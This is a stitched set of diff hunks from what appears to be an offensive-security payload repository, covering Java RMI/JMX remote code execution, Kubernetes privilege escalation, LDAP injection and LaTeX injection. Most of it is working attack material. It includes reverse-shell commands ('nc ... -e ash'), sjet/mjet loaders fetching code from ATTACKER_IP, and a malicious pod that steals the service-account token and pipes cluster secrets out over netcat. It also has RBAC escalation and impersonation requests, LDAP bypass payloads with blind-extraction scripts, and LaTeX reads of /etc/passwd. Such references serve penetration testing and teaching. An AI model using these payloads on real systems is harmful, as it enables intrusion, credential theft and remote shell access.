- [Write up JRR Token LeHack 2019 - Laphaze - July 7, 2019](https://web.archive.org/web/20210512205928/https://rootinthemiddle.org/write-up-jrr-token-lehack-2019/)

View File

@@ -1,48 +1,119 @@
# Java RMI # Java RMI
> The attacker can host a MLet file and instruct the JMX service to load MBeans from the remote host. > Java RMI (Remote Method Invocation) is a Java API that allows an object running in one JVM (Java Virtual Machine) to invoke methods on an object running in another JVM, even if they're on different physical machines. RMI provides a mechanism for Java-based distributed computing.
## Summary ## Summary
* [Exploitation](#exploitation) * [Tools](#tools)
* [Requirements](#requirements) * [Detection](#detection)
* [Detection](#detection) * [Methodology](#methodology)
* [Remote Command Execution](#remote-command-execution) * [RCE using beanshooter](#rce-using-beanshooter)
* [RCE using sjet/mjet](#rce-using-sjet-or-mjet)
* [RCE using Metasploit](#rce-using-metasploit)
* [References](#references) * [References](#references)
## Exploitation ## Tools
### Requirements * [siberas/sjet](https://github.com/siberas/sjet) - siberas JMX exploitation toolkit
- Jython * [mogwailabs/mjet](https://github.com/mogwailabs/mjet) - MOGWAI LABS JMX exploitation toolkit
- The JMX server can connect to a http service that is controlled by the attacker * [qtc-de/remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) - Java RMI Vulnerability Scanner
- JMX authentication is not enabled * [qtc-de/beanshooter](https://github.com/qtc-de/beanshooter) - JMX enumeration and attacking tool.
## Detection
### Detection * Using [nmap](https://nmap.org/):
```powershell ```powershell
$ nmap -sV --script "rmi-dumpregistry or rmi-vuln-classloader" -p TARGET_PORT TARGET_IP -Pn -v $ nmap -sV --script "rmi-dumpregistry or rmi-vuln-classloader" -p TARGET_PORT TARGET_IP -Pn -v
1089/tcp open java-rmi Java RMI 1089/tcp open java-rmi Java RMI
| rmi-vuln-classloader: | rmi-vuln-classloader:
| VULNERABLE: | VULNERABLE:
| RMI registry default configuration remote code execution vulnerability | RMI registry default configuration remote code execution vulnerability
| State: VULNERABLE | State: VULNERABLE
| Default configuration of RMI registry allows loading classes from remote URLs which can lead to remote code execution. | Default configuration of RMI registry allows loading classes from remote URLs which can lead to remote code execution.
| rmi-dumpregistry: | rmi-dumpregistry:
| jmxrmi | jmxrmi
| javax.management.remote.rmi.RMIServerImpl_Stub | javax.management.remote.rmi.RMIServerImpl_Stub
``` ```
### Remote Command Execution * Using [qtc-de/remote-method-guesser](https://github.com/qtc-de/remote-method-guesser):
```bash
$ rmg scan 172.17.0.2 --ports 0-65535
[+] Scanning 6225 Ports on 172.17.0.2 for RMI services.
[+] [HIT] Found RMI service(s) on 172.17.0.2:40393 (DGC)
[+] [HIT] Found RMI service(s) on 172.17.0.2:1090 (Registry, DGC)
[+] [HIT] Found RMI service(s) on 172.17.0.2:9010 (Registry, Activator, DGC)
[+] [6234 / 6234] [#############################] 100%
[+] Portscan finished.
$ rmg enum 172.17.0.2 9010
[+] RMI registry bound names:
[+]
[+] - plain-server2
[+] --> de.qtc.rmg.server.interfaces.IPlainServer (unknown class)
[+] Endpoint: iinsecure.dev:39153 ObjID: [-af587e6:17d6f7bb318:-7ff7, 9040809218460289711]
[+] - legacy-service
[+] --> de.qtc.rmg.server.legacy.LegacyServiceImpl_Stub (unknown class)
[+] Endpoint: iinsecure.dev:39153 ObjID: [-af587e6:17d6f7bb318:-7ffc, 4854919471498518309]
[+] - plain-server
[+] --> de.qtc.rmg.server.interfaces.IPlainServer (unknown class)
[+] Endpoint: iinsecure.dev:39153 ObjID: [-af587e6:17d6f7bb318:-7ff8, 6721714394791464813]
[...]
```
* Using [rapid7/metasploit-framework](https://github.com/rapid7/metasploit-framework)
```bash
use auxiliary/scanner/misc/java_rmi_server
set RHOSTS <IPs>
set RPORT <PORT>
run
```
## Methodology
If a Java Remote Method Invocation (RMI) service is poorly configured, it becomes vulnerable to various Remote Code Execution (RCE) methods. One method involves hosting an MLet file and directing the JMX service to load MBeans from a distant server, achievable using tools like mjet or sjet. The remote-method-guesser tool is newer and combines RMI service enumeration with an overview of recognized attack strategies.
### RCE using beanshooter
* List available attributes: `beanshooter info 172.17.0.2 9010`
* Display value of an attribute: `beanshooter attr 172.17.0.2 9010 java.lang:type=Memory Verbose`
* Set the value of an attribute: `beanshooter attr 172.17.0.2 9010 java.lang:type=Memory Verbose true --type boolean`
* Bruteforce a password protected JMX service: `beanshooter brute 172.17.0.2 1090`
* List registered MBeans: `beanshooter list 172.17.0.2 9010`
* Deploy an MBean: `beanshooter deploy 172.17.0.2 9010 non.existing.example.ExampleBean qtc.test:type=Example --jar-file exampleBean.jar --stager-url http://172.17.0.1:8000`
* Enumerate JMX endpoint: `beanshooter enum 172.17.0.2 1090`
* Invoke method on a JMX endpoint: `beanshooter invoke 172.17.0.2 1090 com.sun.management:type=DiagnosticCommand --signature 'vmVersion()'`
* Invoke arbitrary public and static Java methods:
```ps1
beanshooter model 172.17.0.2 9010 de.qtc.beanshooter:version=1 java.io.File 'new java.io.File("/")'
beanshooter invoke 172.17.0.2 9010 de.qtc.beanshooter:version=1 --signature 'list()'
```
* Standard MBean execution: `beanshooter standard 172.17.0.2 9010 exec 'nc 172.17.0.1 4444 -e ash'`
* Deserialization attacks on a JMX endpoint: `beanshooter serial 172.17.0.2 1090 CommonsCollections6 "nc 172.17.0.1 4444 -e ash" --username admin --password admin`
### RCE using sjet or mjet
#### Requirements
* Jython
* The JMX server can connect to a http service that is controlled by the attacker
* JMX authentication is not enabled
#### Remote Command Execution
The attack involves the following steps: The attack involves the following steps:
* Starting a web server that hosts the MLet and a JAR file with the malicious MBeans * Starting a web server that hosts the MLet and a JAR file with the malicious MBeans
* Creating a instance of the MBean javax.management.loading.MLet on the target server, using JMX * Creating a instance of the MBean `javax.management.loading.MLet` on the target server, using JMX
* Invoking the "getMBeansFromURL" method of the MBean instance, passing the webserver URL as parameter. The JMX service will connect to the http server and parse the MLet file. * Invoking the `getMBeansFromURL` method of the MBean instance, passing the webserver URL as parameter. The JMX service will connect to the http server and parse the MLet file.
* The JMX service downloads and loades the JAR files that were referenced in the MLet file, making the malicious MBean available over JMX. * The JMX service downloads and loades the JAR files that were referenced in the MLet file, making the malicious MBean available over JMX.
* The attacker finally invokes methods from the malicious MBean. * The attacker finally invokes methods from the malicious MBean.
Exploit the JMX using [sjet](https://github.com/siberas/sjet) or [mjet](https://github.com/mogwailabs/mjet) Exploit the JMX using [siberas/sjet](https://github.com/siberas/sjet) or [mogwailabs/mjet](https://github.com/mogwailabs/mjet)
```powershell ```powershell
jython sjet.py TARGET_IP TARGET_PORT super_secret install http://ATTACKER_IP:8000 8000 jython sjet.py TARGET_IP TARGET_PORT super_secret install http://ATTACKER_IP:8000 8000
@@ -57,7 +128,18 @@ jython mjet.py TARGET_IP TARGET_PORT command super_secret "whoami"
jython mjet.py TARGET_IP TARGET_PORT command super_secret shell jython mjet.py TARGET_IP TARGET_PORT command super_secret shell
``` ```
### RCE using Metasploit
```bash
use exploit/multi/misc/java_rmi_server
set RHOSTS <IPs>
set RPORT <PORT>
# configure also the payload if needed
run
```
## References ## References
* [ATTACKING RMI BASED JMX SERVICES - HANS-MARTIN MÜNCH - 28 APR 2019](https://mogwailabs.de/en/blog/2019/04/attacking-rmi-based-jmx-services/) * [Attacking RMI based JMX services - Hans-Martin Münch - April 28, 2019](https://mogwailabs.de/en/blog/2019/04/attacking-rmi-based-jmx-services/)
* [JMX RMI MULTIPLE APPLICATIONS RCE - Red Timmy Security - 26th March 2019](https://www.exploit-db.com/docs/english/46607-jmx-rmi--multiple-applications-remote-code-execution.pdf) * [JMX RMI - MULTIPLE APPLICATIONS RCE - Red Timmy Security - March 26, 2019](https://www.exploit-db.com/docs/english/46607-jmx-rmi--multiple-applications-remote-code-execution.pdf)
* [remote-method-guesser - BHUSA 2021 Arsenal - Tobias Neitzel - August 15, 2021](https://www.slideshare.net/TobiasNeitzel/remotemethodguesser-bhusa2021-arsenal)

View File

@@ -1,303 +0,0 @@
# Kubernetes
> Kubernetes is an open-source container-orchestration system for automating application deployment, scaling, and management. It was originally designed by Google, and is now maintained by the Cloud Native Computing Foundation.
## Summary
- [Tools](#tools)
- [Container Environment](#container-environment)
- [Information Gathering](#information-gathering)
- [RBAC Configuration](#rbac-configuration)
- [Listing Secrets](#listing-secrets)
- [Access Any Resource or Verb](#access-any-resource-or-verb)
- [Pod Creation](#pod-creation)
- [Privilege to Use Pods/Exec](#privilege-to-use-pods-exec)
- [Privilege to Get/Patch Rolebindings](#privilege-to-get-patch-rolebindings)
- [Impersonating a Privileged Account](#impersonating-a-privileged-account)
- [Privileged Service Account Token](#privileged-service-account-token)
- [Interesting endpoints to reach](#interesting-endpoints-to-reach)
- [API addresses that you should know](#api-addresses-that-you-should-know)
- [References](#references)
## Tools
* [kubeaudit](https://github.com/Shopify/kubeaudit) - Audit Kubernetes clusters against common security concerns
* [kubesec.io](https://kubesec.io/) - Security risk analysis for Kubernetes resources
* [kube-bench](https://github.com/aquasecurity/kube-bench) - Checks whether Kubernetes is deployed securely by running [CIS Kubernetes Benchmark](https://www.cisecurity.org/benchmark/kubernetes/)
* [kube-hunter](https://github.com/aquasecurity/kube-hunter) - Hunt for security weaknesses in Kubernetes clusters
* [katacoda](https://katacoda.com/courses/kubernetes) - Learn Kubernetes using interactive broser-based scenarios
* [kubescape](https://github.com/armosec/kubescape) - Automate Kubernetes cluster scans to identify security issues
## Container Environment
Containers within a Kubernetes cluster automatically have certain information made available to them through their [container environment](https://kubernetes.io/docs/concepts/containers/container-environment/). Additional information may have been made available through the volumes, environment variables, or the downward API, but this section covers only what is made available by default.
### Service Account
Each Kubernetes pod is assigned a service account for accessing the Kubernetes API. The service account, in addition to the current namespace and Kubernetes SSL certificate, are made available via a mounted read-only volume:
```
/var/run/secrets/kubernetes.io/serviceaccount/token
/var/run/secrets/kubernetes.io/serviceaccount/namespace
/var/run/secrets/kubernetes.io/serviceaccount/ca.crt
```
If the `kubectl` utility is installed in the container, it will use this service account automatically and will make interacting with the cluster much easier. If not, the contents of the `token` and `namespace` files can be used to make HTTP API requests directly.
### Environment Variables
The `KUBERNETES_SERVICE_HOST` and `KUBERNETES_SERVICE_PORT` environment variables are automatically provided to the container. They contain the IP address and port number of the Kubernetes master node. If `kubectl` is installed, it will use these values automatically. If not, the values can be used to determine the correct IP address to send API requests to.
```
KUBERNETES_SERVICE_HOST=192.168.154.228
KUBERNETES_SERVICE_PORT=443
```
Additionally, [environment variables](https://kubernetes.io/docs/concepts/services-networking/service/#discovering-services) are automatically created for each Kubernetes service running in the current namespace when the container was created. The environment variables are named using two patterns:
- A simplified `{SVCNAME}_SERVICE_HOST` and `{SVCNAME}_SERVICE_PORT` contain the IP address and default port number for the service.
- A [Docker links](https://docs.docker.com/network/links/#environment-variables) collection of variables named `{SVCNAME}_PORT_{NUM}_{PROTOCOL}_{PROTO|PORT|ADDR}` for each port the service exposes.
For example, all of the following environment variables would be available if a `redis-master` service were running with port 6379 exposed:
```
REDIS_MASTER_SERVICE_HOST=10.0.0.11
REDIS_MASTER_SERVICE_PORT=6379
REDIS_MASTER_PORT=tcp://10.0.0.11:6379
REDIS_MASTER_PORT_6379_TCP=tcp://10.0.0.11:6379
REDIS_MASTER_PORT_6379_TCP_PROTO=tcp
REDIS_MASTER_PORT_6379_TCP_PORT=6379
REDIS_MASTER_PORT_6379_TCP_ADDR=10.0.0.11
```
### Simulating `kubectl` API Requests
Most containers within a Kubernetes cluster won't have the `kubectl` utility installed. If running the [one-line `kubectl` installer](https://kubernetes.io/docs/tasks/tools/install-kubectl-linux/#install-kubectl-binary-with-curl-on-linux) within the container isn't an option, you may need to craft Kubernetes HTTP API requests manually. This can be done by using `kubectl` *locally* to determine the correct API request to send from the container.
1. Run the desired command at the maximum verbosity level using `kubectl -v9 ...`
1. The output will include HTTP API endpoint URL, the request body, and an example curl command.
1. Replace the endpoint URL's hostname and port with the `KUBERNETES_SERVICE_HOST` and `KUBERNETES_SERVICE_PORT` values from the container's environment variables.
1. Replace the masked "Authorization: Bearer" token value with the contents of `/var/run/secrets/kubernetes.io/serviceaccount/token` from the container.
1. If the request had a body, ensure the "Content-Type: application/json" header is included and send the request body using the customary method (for curl, use the `--data` flag).
For example, this output was used to create the [Service Account Permissions](#service-account-permissions) request:
```powershell
# NOTE: only the Authorization and Content-Type headers are required. The rest can be omitted.
$ kubectl -v9 auth can-i --list
I1028 18:58:38.192352 76118 loader.go:359] Config loaded from file /home/example/.kube/config
I1028 18:58:38.193847 76118 request.go:942] Request Body: {"kind":"SelfSubjectRulesReview","apiVersion":"authorization.k8s.io/v1","metadata":{"creationTimestamp":null},"spec":{"namespace":"default"},"status":{"resourceRules":null,"nonResourceRules":null,"incomplete":false}}
I1028 18:58:38.193912 76118 round_trippers.go:419] curl -k -v -XPOST -H "Accept: application/json, */*" -H "Content-Type: application/json" -H "User-Agent: kubectl/v1.14.10 (linux/amd64) kubernetes/f5757a1" 'https://1.2.3.4:5678/apis/authorization.k8s.io/v1/selfsubjectrulesreviews'
I1028 18:58:38.295722 76118 round_trippers.go:438] POST https://1.2.3.4:5678/apis/authorization.k8s.io/v1/selfsubjectrulesreviews 201 Created in 101 milliseconds
I1028 18:58:38.295760 76118 round_trippers.go:444] Response Headers:
...
```
## Information Gathering
### Service Account Permissions
The default service account may have been granted additional permissions that make cluster compromise or lateral movement easier.
The following can be used to determine the service account's permissions:
```powershell
# Namespace-level permissions using kubectl
kubectl auth can-i --list
# Cluster-level permissions using kubectl
kubectl auth can-i --list --namespace=kube-system
# Permissions list using curl
NAMESPACE=$(cat "/var/run/secrets/kubernetes.io/serviceaccount/namespace")
# For cluster-level, use NAMESPACE="kube-system" instead
MASTER_URL="https://${KUBERNETES_SERVICE_HOST}:${KUBERNETES_SERVICE_PORT}"
TOKEN=$(cat "/var/run/secrets/kubernetes.io/serviceaccount/token")
curl "${MASTER_URL}/apis/authorization.k8s.io/v1/selfsubjectrulesreviews" \
--cacert "/var/run/secrets/kubernetes.io/serviceaccount/ca.crt" \
--header "Authorization: Bearer ${TOKEN}" \
--header "Content-Type: application/json" \
--data '{"kind":"SelfSubjectRulesReview","apiVersion":"authorization.k8s.io/v1","spec":{"namespace":"'${NAMESPACE}'"}}'
```
### Secrets, ConfigMaps, and Volumes
Kubernetes provides Secrets and ConfigMaps as a way to load configuration into containers at runtime. While they may not lead directly to whole cluster compromise, the information they contain can lead to individual service compromise or enable lateral movement within a cluster.
From a container perspective, Kubernetes Secrets and ConfigMaps are identical. Both can be loaded into environment variables or mounted as volumes. It's not possible to determine if an environment variable was loaded from a Secret/ConfigMap, so each environment variable will need to be manually inspected. When mounted as a volume, Secrets/ConfigMaps are always mounted as read-only tmpfs filesystems. You can quickly find these with `grep -F "tmpfs ro" /etc/mtab`.
True Kubernetes Volumes are typically used as shared storage or for persistent storage across restarts. These are typically mounted as ext4 filesystems and can be identified with `grep -wF "ext4" /etc/mtab`.
### Privileged Containers
Kubernetes supports a wide range of [security contexts](https://kubernetes.io/docs/tasks/configure-pod-container/security-context/) for container and pod execution. The most important of these is the "privileged" [security policy](https://kubernetes.io/docs/concepts/policy/pod-security-policy/) which makes the host node's devices available under the container's `/dev` directory. This means having access to the host's Docker socket file (allowing arbitrary container actions) in addition to the host's root disks (which can be used to escape the container entirely).
While there is no official way to check for privileged mode from *within* a container, checking if `/dev/kmsg` exists will usually suffice.
## RBAC Configuration
### Listing Secrets
An attacker that gains access to list secrets in the cluster can use the following curl commands to get all secrets in "kube-system" namespace.
```powershell
curl -v -H "Authorization: Bearer <jwt_token>" https://<master_ip>:<port>/api/v1/namespaces/kube-system/secrets/
```
### Access Any Resource or Verb
```powershell
resources:
- '*'
verbs:
- '*'
```
### Pod Creation
Check your right with `kubectl get role system:controller:bootstrap-signer -n kube-system -o yaml`.
Then create a malicious pod.yaml file.
```yaml
apiVersion: v1
kind: Pod
metadata:
name: alpine
namespace: kube-system
spec:
containers:
- name: alpine
image: alpine
command: ["/bin/sh"]
args: ["-c", 'apk update && apk add curl --no-cache; cat /run/secrets/kubernetes.io/serviceaccount/token | { read TOKEN; curl -k -v -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" https://192.168.154.228:8443/api/v1/namespaces/kube-system/secrets; } | nc -nv 192.168.154.228 6666; sleep 100000']
serviceAccountName: bootstrap-signer
automountServiceAccountToken: true
hostNetwork: true
```
Then `kubectl apply -f malicious-pod.yaml`
### Privilege to Use Pods/Exec
```powershell
kubectl exec -it <POD NAME> -n <PODS NAMESPACE> - sh
```
### Privilege to Get/Patch Rolebindings
The purpose of this JSON file is to bind the admin "CluserRole" to the compromised service account.
Create a malicious RoleBinging.json file.
```powershell
{
"apiVersion": "rbac.authorization.k8s.io/v1",
"kind": "RoleBinding",
"metadata": {
"name": "malicious-rolebinding",
"namespcaes": "default"
},
"roleRef": {
"apiGroup": "*",
"kind": "ClusterRole",
"name": "admin"
},
"subjects": [
{
"kind": "ServiceAccount",
"name": "sa-comp"
"namespace": "default"
}
]
}
```
```powershell
curl -k -v -X POST -H "Authorization: Bearer <JWT TOKEN>" -H "Content-Type: application/json" https://<master_ip>:<port>/apis/rbac.authorization.k8s.io/v1/namespaces/default/rolebindings -d @malicious-RoleBinging.json
curl -k -v -X POST -H "Authorization: Bearer <COMPROMISED JWT TOKEN>" -H "Content-Type: application/json" https://<master_ip>:<port>/api/v1/namespaces/kube-system/secret
```
### Impersonating a Privileged Account
```powershell
curl -k -v -XGET -H "Authorization: Bearer <JWT TOKEN (of the impersonator)>" -H "Impersonate-Group: system:masters" -H "Impersonate-User: null" -H "Accept: application/json" https://<master_ip>:<port>/api/v1/namespaces/kube-system/secrets/
```
## Privileged Service Account Token
```powershell
$ cat /run/secrets/kubernetes.io/serviceaccount/token
$ curl -k -v -H "Authorization: Bearer <jwt_token>" https://<master_ip>:<port>/api/v1/namespaces/default/secrets/
```
## Interesting endpoints to reach
```powershell
# List Pods
curl -v -H "Authorization: Bearer <jwt_token>" https://<master_ip>:<port>/api/v1/namespaces/default/pods/
# List secrets
curl -v -H "Authorization: Bearer <jwt_token>" https://<master_ip>:<port>/api/v1/namespaces/default/secrets/
# List deployments
curl -v -H "Authorization: Bearer <jwt_token>" https://<master_ip:<port>/apis/extensions/v1beta1/namespaces/default/deployments
# List daemonsets
curl -v -H "Authorization: Bearer <jwt_token>" https://<master_ip:<port>/apis/extensions/v1beta1/namespaces/default/daemonsets
```
## API addresses that you should know
*(External network visibility)*
### cAdvisor
```powershell
curl -k https://<IP Address>:4194
```
### Insecure API server
```powershell
curl -k https://<IP Address>:8080
```
### Secure API Server
```powershell
curl -k https://<IP Address>:(8|6)443/swaggerapi
curl -k https://<IP Address>:(8|6)443/healthz
curl -k https://<IP Address>:(8|6)443/api/v1
```
### etcd API
```powershell
curl -k https://<IP address>:2379
curl -k https://<IP address>:2379/version
etcdctl --endpoints=http://<MASTER-IP>:2379 get / --prefix --keys-only
```
### Kubelet API
```powershell
curl -k https://<IP address>:10250
curl -k https://<IP address>:10250/metrics
curl -k https://<IP address>:10250/pods
```
### kubelet (Read only)
```powershell
curl -k https://<IP Address>:10255
http://<external-IP>:10255/pods
```
## References
- [Kubernetes Pentest Methodology Part 1 - by Or Ida on August 8, 2019](https://securityboulevard.com/2019/08/kubernetes-pentest-methodology-part-1)
- [Kubernetes Pentest Methodology Part 2 - by Or Ida on September 5, 2019](https://securityboulevard.com/2019/09/kubernetes-pentest-methodology-part-2)
- [Kubernetes Pentest Methodology Part 3 - by Or Ida on November 21, 2019](https://securityboulevard.com/2019/11/kubernetes-pentest-methodology-part-3)
- [Capturing all the flags in BSidesSF CTF by pwning our infrastructure - Hackernoon](https://hackernoon.com/capturing-all-the-flags-in-bsidessf-ctf-by-pwning-our-infrastructure-3570b99b4dd0)
- [Kubernetes Pod Privilege Escalation](https://labs.bishopfox.com/tech-blog/bad-pods-kubernetes-pod-privilege-escalation)

View File

@@ -0,0 +1,20 @@
*
*)(&
*))%00
)(cn=))\x00
*()|%26'
*()|&'
*(|(mail=*))
*(|(objectclass=*))
*)(uid=*))(|(uid=*
*/*
*|
/
//
//*
@*
|
admin*
admin*)((|userpassword=*)
admin*)((|userPassword=*)
x' or name()='username' or 'x'='ys

View File

@@ -1,21 +1,29 @@
# LDAP injection # LDAP Injection
> LDAP Injection is an attack used to exploit web based applications that construct LDAP statements based on user input. When an application fails to properly sanitize user input, it's possible to modify LDAP statements using a local proxy. > LDAP Injection is an attack used to exploit web based applications that construct LDAP statements based on user input. When an application fails to properly sanitize user input, it's possible to modify LDAP statements using a local proxy.
## Summary ## Summary
* [Exploitation](#exploitation) * [Methodology](#methodology)
* [Payloads](#payloads) * [Authentication Bypass](#authentication-bypass)
* [Blind Exploitation](#blind-exploitation) * [Blind Exploitation](#blind-exploitation)
* [Defaults attributes](#defaults-attributes) * [Defaults Attributes](#defaults-attributes)
* [Exploiting userPassword attribute](#exploiting-userpassword-attribute) * [Exploiting userPassword Attribute](#exploiting-userpassword-attribute)
* [Scripts](#scripts) * [Scripts](#scripts)
* [Discover valid LDAP fields](#discover-valid-ldap-fields) * [Discover Valid LDAP Fields](#discover-valid-ldap-fields)
* [Special blind LDAP injection](#special-blind-ldap-injection) * [Special Blind LDAP Injection](#special-blind-ldap-injection)
* [Labs](#labs)
* [References](#references)
## Exploitation ## Methodology
Example 1. LDAP Injection is a vulnerability that occurs when user-supplied input is used to construct LDAP queries without proper sanitization or escaping
### Authentication Bypass
Attempt to manipulate the filter logic by injecting always-true conditions.
**Example 1**: This LDAP query exploits logical operators in the query structure to potentially bypass authentication
```sql ```sql
user = *)(uid=*))(|(uid=* user = *)(uid=*))(|(uid=*
@@ -23,7 +31,7 @@ pass = password
query = (&(uid=*)(uid=*))(|(uid=*)(userPassword={MD5}X03MO1qnZdYdgyfeuILPmQ==)) query = (&(uid=*)(uid=*))(|(uid=*)(userPassword={MD5}X03MO1qnZdYdgyfeuILPmQ==))
``` ```
Example 2 **Example 2**: This LDAP query exploits logical operators in the query structure to potentially bypass authentication
```sql ```sql
user = admin)(!(&(1=0 user = admin)(!(&(1=0
@@ -31,34 +39,9 @@ pass = q))
query = (&(uid=admin)(!(&(1=0)(userPassword=q)))) query = (&(uid=admin)(!(&(1=0)(userPassword=q))))
``` ```
## Payloads ### Blind Exploitation
```text This scenario demonstrates LDAP blind exploitation using a technique similar to binary search or character-based brute-forcing to discover sensitive information like passwords. It relies on the fact that LDAP filters respond differently to queries based on whether the conditions match or not, without directly revealing the actual password.
*
*)(&
*))%00
)(cn=))\x00
*()|%26'
*()|&'
*(|(mail=*))
*(|(objectclass=*))
*)(uid=*))(|(uid=*
*/*
*|
/
//
//*
@*
|
admin*
admin*)((|userpassword=*)
admin*)((|userPassword=*)
x' or name()='username' or 'x'='y
```
## Blind Exploitation
We can extract using a bypass login
```sql ```sql
(&(sn=administrator)(password=*)) : OK (&(sn=administrator)(password=*)) : OK
@@ -78,7 +61,13 @@ We can extract using a bypass login
(&(sn=administrator)(password=MYKE)) : OK (&(sn=administrator)(password=MYKE)) : OK
``` ```
## Defaults attributes **LDAP Filter Breakdown**:
* `&`: Logical AND operator, meaning all conditions inside must be true.
* `(sn=administrator)`: Matches entries where the sn (surname) attribute is administrator.
* `(password=X*)`: Matches entries where the password starts with X (case-sensitive). The asterisk (*) is a wildcard, representing any remaining characters.
## Defaults Attributes
Can be used in an injection like `*)(ATTRIBUTE_HERE=*` Can be used in an injection like `*)(ATTRIBUTE_HERE=*`
@@ -94,7 +83,7 @@ givenName
commonName commonName
``` ```
## Exploiting userPassword attribute ## Exploiting userPassword Attribute
`userPassword` attribute is not a string like the `cn` attribute for example but its an OCTET STRING `userPassword` attribute is not a string like the `cn` attribute for example but its an OCTET STRING
In LDAP, every object, type, operator etc. is referenced by an OID : octetStringOrderingMatch (OID 2.5.13.18). In LDAP, every object, type, operator etc. is referenced by an OID : octetStringOrderingMatch (OID 2.5.13.18).
@@ -109,23 +98,20 @@ userPassword:2.5.13.18:=\xx\xx\xx
## Scripts ## Scripts
### Discover valid LDAP fields ### Discover Valid LDAP Fields
```python ```python
#!/usr/bin/python3 #!/usr/bin/python3
import requests import requests
import string import string
fields = [] fields = []
url = 'https://URL.com/' url = 'https://URL.com/'
f = open('dic', 'r')
f = open('dic', 'r') #Open the wordlists of common attributes world = f.read().split('\n')
wordl = f.read().split('\n')
f.close() f.close()
for i in wordl: for i in world:
r = requests.post(url, data = {'login':'*)('+str(i)+'=*))\x00', 'password':'bla'}) #Like (&(login=*)(ITER_VAL=*))\x00)(password=bla)) r = requests.post(url, data = {'login':'*)('+str(i)+'=*))\x00', 'password':'bla'}) #Like (&(login=*)(ITER_VAL=*))\x00)(password=bla))
if 'TRUE CONDITION' in r.text: if 'TRUE CONDITION' in r.text:
fields.append(str(i)) fields.append(str(i))
@@ -133,13 +119,10 @@ for i in wordl:
print(fields) print(fields)
``` ```
Ref. [5][5] ### Special Blind LDAP Injection
### Special blind LDAP injection (without "*")
```python ```python
#!/usr/bin/python3 #!/usr/bin/python3
import requests, string import requests, string
alphabet = string.ascii_letters + string.digits + "_@{}-/()!\"$%=^[]:;" alphabet = string.ascii_letters + string.digits + "_@{}-/()!\"$%=^[]:;"
@@ -154,16 +137,14 @@ for i in range(50):
break break
``` ```
Ref. [5][5] Exploitation script by [@noraj](https://github.com/noraj)
```ruby ```ruby
#!/usr/bin/env ruby #!/usr/bin/env ruby
require 'net/http' require 'net/http'
alphabet = [*'a'..'z', *'A'..'Z', *'0'..'9'] + '_@{}-/()!"$%=^[]:;'.split('') alphabet = [*'a'..'z', *'A'..'Z', *'0'..'9'] + '_@{}-/()!"$%=^[]:;'.split('')
flag = '' flag = ''
(0..50).each do |i| (0..50).each do |i|
puts("[i] Looking for number #{i}") puts("[i] Looking for number #{i}")
alphabet.each do |char| alphabet.each do |char|
@@ -177,21 +158,17 @@ flag = ''
end end
``` ```
By [noraj](https://github.com/noraj) ## Labs
* [Root Me - LDAP injection - Authentication](https://www.root-me.org/en/Challenges/Web-Server/LDAP-injection-Authentication)
* [Root Me - LDAP injection - Blind](https://www.root-me.org/en/Challenges/Web-Server/LDAP-injection-Blind)
## References ## References
* [OWASP LDAP Injection](https://www.owasp.org/index.php/LDAP_injection) * [[European Cyber Week] - AdmYSion - Alan Marrec (Maki)](https://www.maki.bzh/writeups/ecw2018admyssion/)
* [LDAP Blind Explorer](http://code.google.com/p/ldap-blind-explorer/) * [ECW 2018 : Write Up - AdmYSsion (WEB - 50) - 0xUKN - October 31, 2018](https://0xukn.fr/posts/writeupecw2018admyssion/)
* [ECW 2018 : Write Up - AdmYSsion (WEB - 50) - 0xUKN](https://0xukn.fr/posts/writeupecw2018admyssion/) * [How To Configure OpenLDAP and Perform Administrative LDAP Tasks - Justin Ellingwood - May 30, 2015](https://www.digitalocean.com/community/tutorials/how-to-configure-openldap-and-perform-administrative-ldap-tasks)
* [Quals ECW 2018 - Maki](https://maki.bzh/courses/blog/writeups/qualecw2018/) * [How To Manage and Use LDAP Servers with OpenLDAP Utilities - Justin Ellingwood - May 29, 2015](https://www.digitalocean.com/community/tutorials/how-to-manage-and-use-ldap-servers-with-openldap-utilities)
* [How To Manage and Use LDAP Servers with OpenLDAP Utilities](https://www.digitalocean.com/community/tutorials/how-to-manage-and-use-ldap-servers-with-openldap-utilities) * [LDAP Blind Explorer - Alonso Parada - August 12, 2011](http://code.google.com/p/ldap-blind-explorer/)
* [How To Configure OpenLDAP and Perform Administrative LDAP Tasks](https://www.digitalocean.com/community/tutorials/how-to-configure-openldap-and-perform-administrative-ldap-tasks) * [LDAP Injection & Blind LDAP Injection - Chema Alonso, José Parada Gimeno - October 10, 2008](https://www.blackhat.com/presentations/bh-europe-08/Alonso-Parada/Whitepaper/bh-eu-08-alonso-parada-WP.pdf)
* SSH key authentication via LDAP * [LDAP Injection Prevention Cheat Sheet - OWASP - July 16, 2019](https://www.owasp.org/index.php/LDAP_injection)
- [How to setup LDAP server for openssh-lpk](https://openssh-ldap-pubkey.readthedocs.io/en/latest/openldap.html)
- [openssh-lpk.ldif](https://github.com/Lullabot/openldap-schema/blob/master/openssh-lpk.ldif)
- [Setting up OpenLDAP server with OpenSSH-LPK on Ubuntu 14.04](https://blog.shichao.io/2015/04/17/setup_openldap_server_with_openssh_lpk_on_ubuntu.html)
- [SSH key authentication using LDAP](https://serverfault.com/questions/653792/ssh-key-authentication-using-ldap)
- [FR] [SSH et LDAP](https://wiki.lereset.org/ateliers:serveurmail:ldap-ssh)
- [SSH Public Keys in OpenLDAP](http://pig.made-it.com/ldap-openssh.html)

View File

@@ -1,6 +1,22 @@
# LaTex Injection # LaTeX Injection
## Read file > LaTeX Injection is a type of injection attack where malicious content is injected into LaTeX documents. LaTeX is widely used for document preparation and typesetting, particularly in academia, for producing high-quality scientific and mathematical documents. Due to its powerful scripting capabilities, LaTeX can be exploited by attackers to execute arbitrary commands if proper safeguards are not in place.
## Summary
* [File Manipulation](#file-manipulation)
* [Read File](#read-file)
* [Write File](#write-file)
* [Command Execution](#command-execution)
* [Cross Site Scripting](#cross-site-scripting)
* [Labs](#labs)
* [References](#references)
## File Manipulation
### Read File
Attackers can read the content of sensitive files on the server.
Read file and interpret the LaTeX code in it: Read file and interpret the LaTeX code in it:
@@ -22,6 +38,7 @@ Read single lined file:
Read multiple lined file: Read multiple lined file:
```tex ```tex
\lstinputlisting{/etc/passwd}
\newread\file \newread\file
\openin\file=/etc/passwd \openin\file=/etc/passwd
\loop\unless\ifeof\file \loop\unless\ifeof\file
@@ -50,7 +67,16 @@ characters can be deactivated in order to use `\input` on file containing `$`, `
\input{path_to_script.pl} \input{path_to_script.pl}
``` ```
## Write file To bypass a blacklist try to replace one character with it's unicode hex value.
* ^^41 represents a capital A
